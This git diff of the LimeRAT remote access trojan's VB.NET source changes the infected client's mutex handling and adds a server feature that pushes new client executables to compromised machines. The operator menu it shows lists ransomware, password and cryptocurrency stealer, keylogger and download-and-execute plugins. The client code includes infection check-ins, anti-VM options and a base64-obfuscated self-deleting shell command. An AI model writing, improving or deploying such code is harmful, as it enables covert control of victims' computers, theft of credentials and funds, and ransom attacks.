diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache index 907f7ef..ff09841 100644 Binary files a/.vs/LimeRAT/DesignTimeBuild/.dtbcache and b/.vs/LimeRAT/DesignTimeBuild/.dtbcache differ diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo index 4fc0c6b..1bebf3c 100644 Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide index fdd2e7c..5ef8e93 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm index 50d310d..56e419e 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal index 2d736df..422c39f 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ diff --git a/Project/Client/C_Installation.vb b/Project/Client/C_Installation.vb index ca84458..46614a5 100644 --- a/Project/Client/C_Installation.vb +++ b/Project/Client/C_Installation.vb @@ -12,6 +12,10 @@ AddDrop(C_Settings.fullpath) AddReg(C_ID.Privileges) + If C_Settings.MTX IsNot Nothing Then + C_Settings.MTX.Close() + C_Settings.MTX = Nothing + End If C_CriticalProcesses.CriticalProcesses_Disable() Diagnostics.Process.Start(C_Settings.fullpath) End diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb index d1f65e2..787097f 100644 --- a/Project/Client/C_Main.vb +++ b/Project/Client/C_Main.vb @@ -38,6 +38,7 @@ Namespace Lime Public Shared C As New C_Socket Public Shared SPL = C_Settings.SPL + Public Shared Sub Main() Try @@ -46,21 +47,18 @@ Namespace Lime 'Thread.Sleep(35000) '[New client infected] 'End If + Dim num As Integer = C_Settings.Delay Do Until num = 0 Threading.Thread.Sleep(1000) num -= 1 Loop - Dim createdNew As Boolean - Dim mutex As Threading.Mutex = New Threading.Mutex(True, C_Settings.MTX, createdNew) - Try - If Not createdNew Then End - Finally - If createdNew Then - mutex.ReleaseMutex() - End If - End Try + Dim createdNew As Boolean = False + C_Settings.MTX = New Threading.Mutex(True, C_ID.HWID, createdNew) + If Not createdNew Then + End + End If If C_Settings.ANTI Then C_AntiVM.Check() diff --git a/Project/Client/C_Settings.vb b/Project/Client/C_Settings.vb index 92d2e6f..14f3938 100644 --- a/Project/Client/C_Settings.vb +++ b/Project/Client/C_Settings.vb @@ -12,7 +12,7 @@ Public Shared KEY As String = "|'N'|" 'socket key Public Shared SPL As String = "|'L'|" 'split bytes Public Shared EXE As String = "CLIENT.exe" 'client name - Public Shared MTX As String = "I0xpbWVSQVQ=" 'mutex + Public Shared MTX As Threading.Mutex Public Shared USB As Boolean = False 'usb spread Public Shared PIN As Boolean = False 'pin spread Public Shared ANTI As Boolean = False 'anti virtual machines @@ -33,7 +33,7 @@ Public Shared KEY As String = "%KEY%" Public Shared SPL As String = "%SPL%" Public Shared EXE As String = "%EXE%" - Public Shared MTX As String = "I0xpbWVSQVQ=" + Public Shared MTX As Threading.Mutex Public Shared USB As Boolean = "%USB%" Public Shared PIN As Boolean = "%PIN%" Public Shared ANTI As Boolean = "%ANTI%" diff --git a/Project/Client/C_Socket.vb b/Project/Client/C_Socket.vb index 8369399..61ba0f8 100644 --- a/Project/Client/C_Socket.vb +++ b/Project/Client/C_Socket.vb @@ -98,7 +98,7 @@ e: ' clear things and ReConnect C.Client.Connect(C_Settings.HOST, C_Settings.PORT) CNT = True 'Send info to server - Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.7.3", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, + Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.7.3D", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.USBSP, SPL, " ", SPL, " ")) Catch ex As Exception Threading.Thread.CurrentThread.Sleep(R.Next(5000)) diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe index a72b9c7..6a84ed4 100644 Binary files a/Project/Plugins/ENC/Resources/DECF.exe and b/Project/Plugins/ENC/Resources/DECF.exe differ diff --git a/Project/Plugins/PCL/Main.vb b/Project/Plugins/PCL/Main.vb index b2dcb25..ba5985e 100644 --- a/Project/Plugins/PCL/Main.vb +++ b/Project/Plugins/PCL/Main.vb @@ -21,11 +21,13 @@ Select Case A(1) Case "1" 'close CriticalProcesses_Disable() + MT() Environment.Exit(0) Case "2" 'restart CriticalProcesses_Disable() Diagnostics.Process.Start(FP) + MT() Environment.Exit(0) Case "3" 'uni @@ -65,6 +67,8 @@ CriticalProcesses_Disable() Threading.Thread.Sleep(100) + MT() + 'cmd.exe /c ping 0 -n 2 & del Shell(BS(Convert.FromBase64String("Y21kLmV4ZSAvYyBwaW5nIDAgLW4gMiAmIGRlbCA=")) & """" & FullPath & """", AppWinStyle.Hide, False, -1) 'Delete NEXE Environment.Exit(0) @@ -72,6 +76,14 @@ End Sub + Public Shared Sub MT() + Dim createdNew As Boolean = False + Dim MTX As Threading.Mutex = New Threading.Mutex(True, HWID, createdNew) + If MTX IsNot Nothing Then + MTX.Close() + MTX = Nothing + End If + End Sub 'https://www.codeproject.com/Articles/43405/Protecting-Your-Process-with-RtlSetProcessIsCriti diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb index 74ded3b..d92d8d3 100644 --- a/Project/Server/Classes/S_Settings.vb +++ b/Project/Server/Classes/S_Settings.vb @@ -3,7 +3,7 @@ Public Shared PORT As Integer Public Shared EncryptionKey As String Public Shared IP As String = String.Empty - + Public Shared StubVer As String = "v0.1.7.3D" Public Shared SPL As String = "|'L'|" Public Shared KEY As String = "|'N'|" diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb index 0bc0be3..8e9f835 100644 --- a/Project/Server/Forms/About.Designer.vb +++ b/Project/Server/Forms/About.Designer.vb @@ -137,10 +137,10 @@ Partial Class About Me.MetroLabel7.FontWeight = MetroFramework.MetroLabelWeight.Bold Me.MetroLabel7.Location = New System.Drawing.Point(197, 197) Me.MetroLabel7.Name = "MetroLabel7" - Me.MetroLabel7.Size = New System.Drawing.Size(61, 19) + Me.MetroLabel7.Size = New System.Drawing.Size(71, 19) Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime Me.MetroLabel7.TabIndex = 0 - Me.MetroLabel7.Text = ": 0.1.7.3" + Me.MetroLabel7.Text = ": 0.1.7.3D" Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark ' 'MetroLabel8 diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb index 2228a64..bc91bd6 100644 --- a/Project/Server/Forms/Main.Designer.vb +++ b/Project/Server/Forms/Main.Designer.vb @@ -76,6 +76,10 @@ Partial Class Main Me.ClientColorToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ClientFolderToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator3 = New System.Windows.Forms.ToolStripSeparator() + Me.AutoUpdateClientsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() + Me.StartToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() + Me.StopToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() + Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator() Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.Flag = New System.Windows.Forms.ImageList(Me.components) Me.MetroTabPage2 = New MetroFramework.Controls.MetroTabPage() @@ -250,10 +254,10 @@ Partial Class Main Me.Main_Rightclick.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None Me.Main_Rightclick.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) Me.Main_Rightclick.ImageScalingSize = New System.Drawing.Size(24, 24) - Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AboutToolStripMenuItem}) + Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AutoUpdateClientsToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem}) Me.Main_Rightclick.Name = "ContextMenuStrip1" Me.Main_Rightclick.ShowImageMargin = False - Me.Main_Rightclick.Size = New System.Drawing.Size(201, 292) + Me.Main_Rightclick.Size = New System.Drawing.Size(221, 328) ' 'PluginsToolStripMenuItem ' @@ -261,7 +265,7 @@ Partial Class Main Me.PluginsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RansomwareToolStripMenuItem, Me.LockScreenToolStripMenuItem, Me.FIleManagerToolStripMenuItem, Me.RemoteDesktopToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.PasswordsToolStripMenuItem, Me.CryptocurrencyStealerToolStripMenuItem}) Me.PluginsToolStripMenuItem.ForeColor = System.Drawing.Color.White Me.PluginsToolStripMenuItem.Name = "PluginsToolStripMenuItem" - Me.PluginsToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.PluginsToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.PluginsToolStripMenuItem.Text = "Plugins" ' 'RansomwareToolStripMenuItem @@ -358,14 +362,14 @@ Partial Class Main 'ToolStripSeparator1 ' Me.ToolStripSeparator1.Name = "ToolStripSeparator1" - Me.ToolStripSeparator1.Size = New System.Drawing.Size(197, 6) + Me.ToolStripSeparator1.Size = New System.Drawing.Size(217, 6) ' 'DownloadAndExecuteToolStripMenuItem ' Me.DownloadAndExecuteToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.FromDiskToolStripMenuItem, Me.FromURLToolStripMenuItem1}) Me.DownloadAndExecuteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.DownloadAndExecuteToolStripMenuItem.Name = "DownloadAndExecuteToolStripMenuItem" - Me.DownloadAndExecuteToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.DownloadAndExecuteToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.DownloadAndExecuteToolStripMenuItem.Text = "Download&Execute" ' 'FromDiskToolStripMenuItem @@ -389,7 +393,7 @@ Partial Class Main Me.MiscellaneousToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.VisitWebsiteToolStripMenuItem, Me.RunAsAdministratorToolStripMenuItem, Me.KeyloggerToolStripMenuItem}) Me.MiscellaneousToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.MiscellaneousToolStripMenuItem.Name = "MiscellaneousToolStripMenuItem" - Me.MiscellaneousToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.MiscellaneousToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.MiscellaneousToolStripMenuItem.Text = "Miscellaneous" ' 'VisitWebsiteToolStripMenuItem @@ -421,7 +425,7 @@ Partial Class Main Me.BotPCOptionsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PCRestartToolStripMenuItem, Me.PCShutdownToolStripMenuItem, Me.PCLogoutToolStripMenuItem}) Me.BotPCOptionsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.BotPCOptionsToolStripMenuItem.Name = "BotPCOptionsToolStripMenuItem" - Me.BotPCOptionsToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.BotPCOptionsToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.BotPCOptionsToolStripMenuItem.Text = "PC Options" ' 'PCRestartToolStripMenuItem @@ -453,7 +457,7 @@ Partial Class Main Me.ControllerOptionsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.UpdateToolStripMenuItem, Me.RestartToolStripMenuItem, Me.CloseToolStripMenuItem, Me.UninstallToolStripMenuItem}) Me.ControllerOptionsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.ControllerOptionsToolStripMenuItem.Name = "ControllerOptionsToolStripMenuItem" - Me.ControllerOptionsToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.ControllerOptionsToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.ControllerOptionsToolStripMenuItem.Text = "Client Options" ' 'UpdateToolStripMenuItem @@ -508,39 +512,68 @@ Partial Class Main 'ToolStripSeparator2 ' Me.ToolStripSeparator2.Name = "ToolStripSeparator2" - Me.ToolStripSeparator2.Size = New System.Drawing.Size(197, 6) + Me.ToolStripSeparator2.Size = New System.Drawing.Size(217, 6) ' 'NoteToolStripMenuItem ' Me.NoteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.NoteToolStripMenuItem.Name = "NoteToolStripMenuItem" - Me.NoteToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.NoteToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.NoteToolStripMenuItem.Text = "Note" ' 'ClientColorToolStripMenuItem ' Me.ClientColorToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.ClientColorToolStripMenuItem.Name = "ClientColorToolStripMenuItem" - Me.ClientColorToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.ClientColorToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.ClientColorToolStripMenuItem.Text = "Client Color" ' 'ClientFolderToolStripMenuItem ' Me.ClientFolderToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.ClientFolderToolStripMenuItem.Name = "ClientFolderToolStripMenuItem" - Me.ClientFolderToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.ClientFolderToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.ClientFolderToolStripMenuItem.Text = "Client Folder" ' 'ToolStripSeparator3 ' Me.ToolStripSeparator3.Name = "ToolStripSeparator3" - Me.ToolStripSeparator3.Size = New System.Drawing.Size(197, 6) + Me.ToolStripSeparator3.Size = New System.Drawing.Size(217, 6) + ' + 'AutoUpdateClientsToolStripMenuItem + ' + Me.AutoUpdateClientsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.StartToolStripMenuItem1, Me.StopToolStripMenuItem1}) + Me.AutoUpdateClientsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control + Me.AutoUpdateClientsToolStripMenuItem.Name = "AutoUpdateClientsToolStripMenuItem" + Me.AutoUpdateClientsToolStripMenuItem.Size = New System.Drawing.Size(220, 30) + Me.AutoUpdateClientsToolStripMenuItem.Text = "Auto-Update Clients" + ' + 'StartToolStripMenuItem1 + ' + Me.StartToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.StartToolStripMenuItem1.ForeColor = System.Drawing.SystemColors.Control + Me.StartToolStripMenuItem1.Name = "StartToolStripMenuItem1" + Me.StartToolStripMenuItem1.Size = New System.Drawing.Size(253, 30) + Me.StartToolStripMenuItem1.Text = "Start" + ' + 'StopToolStripMenuItem1 + ' + Me.StopToolStripMenuItem1.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.StopToolStripMenuItem1.ForeColor = System.Drawing.SystemColors.Control + Me.StopToolStripMenuItem1.Name = "StopToolStripMenuItem1" + Me.StopToolStripMenuItem1.Size = New System.Drawing.Size(253, 30) + Me.StopToolStripMenuItem1.Text = "Stop" + ' + 'ToolStripSeparator4 + ' + Me.ToolStripSeparator4.Name = "ToolStripSeparator4" + Me.ToolStripSeparator4.Size = New System.Drawing.Size(217, 6) ' 'AboutToolStripMenuItem ' Me.AboutToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control Me.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem" - Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(200, 30) + Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.AboutToolStripMenuItem.Text = "About" ' 'Flag @@ -1540,4 +1573,8 @@ Partial Class Main Friend WithEvents KeyloggerToolStripMenuItem As ToolStripMenuItem Friend WithEvents ClientFolderToolStripMenuItem As ToolStripMenuItem Friend WithEvents CryptocurrencyStealerToolStripMenuItem As ToolStripMenuItem + Friend WithEvents AutoUpdateClientsToolStripMenuItem As ToolStripMenuItem + Friend WithEvents ToolStripSeparator4 As ToolStripSeparator + Friend WithEvents StartToolStripMenuItem1 As ToolStripMenuItem + Friend WithEvents StopToolStripMenuItem1 As ToolStripMenuItem End Class diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx index f933ae1..7638e75 100644 --- a/Project/Server/Forms/Main.resx +++ b/Project/Server/Forms/Main.resx @@ -134,7 +134,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo - VAYAAk1TRnQBSQFMAgEB8wEAASgBFwEoARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk + VAYAAk1TRnQBSQFMAgEB8wEAAUgBFwFIARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb index bcc639a..a17667c 100644 --- a/Project/Server/Forms/Main.vb +++ b/Project/Server/Forms/Main.vb @@ -1283,7 +1283,6 @@ Public Class Main result = MessageBox.Show("Client didn't finish decrypting yet.." & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) If result = DialogResult.Yes Then S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") - End If Else S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") @@ -1407,6 +1406,56 @@ Public Class Main +#End Region + +#Region "Auto-Update" + + Private Sub StartToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StartToolStripMenuItem1.Click + Try + Dim result As DialogResult + result = MessageBox.Show("Do you want to update your clients with latest stub version?" & vbNewLine & vbNewLine & "This will only update the outdated clients." & vbNewLine & vbNewLine & "Latest LimeRAT stub is " + S_Settings.StubVer, "Auto-Update", MessageBoxButtons.YesNo, MessageBoxIcon.Question) + If result = DialogResult.Yes Then + Dim o As New OpenFileDialog + With o + .Filter = "*.exe (*.exe)| *.exe" + .InitialDirectory = Application.StartupPath + .Title = "Select New-Client" + End With + If o.ShowDialog = Windows.Forms.DialogResult.OK Then + AutoUpdateThread = New System.Threading.Thread(AddressOf AutoUpdate) + AutoUpdateThread.Start(o.FileName) + End If + End If + Catch ex As Exception + MsgBox(ex.Message, MsgBoxStyle.Critical) + Return + End Try + End Sub + + Private Sub StopToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles StopToolStripMenuItem1.Click + Try + AutoUpdateThread.Abort() + Catch ex As Exception + End Try + End Sub + + Dim AutoUpdateThread As Threading.Thread + Private Sub AutoUpdate(ByVal ClientEXE As String) + Try + While True + For Each C As ListViewItem In L1.Items + If C.SubItems(VER.Index).Text <> S_Settings.StubVer Then + S.Send(C.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "4" + "|'P'|" + IO.Path.GetFileName(ClientEXE) + "|'P'|" + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(ClientEXE), True))) + Messages(C.SubItems(IP.Index).Text, "Updated to [" + S_Settings.StubVer + "] using Auto-Update") + End If + Threading.Thread.Sleep(500) + Next + Threading.Thread.Sleep(5000) + End While + Catch ex As Exception + End Try + End Sub + #End Region #End Region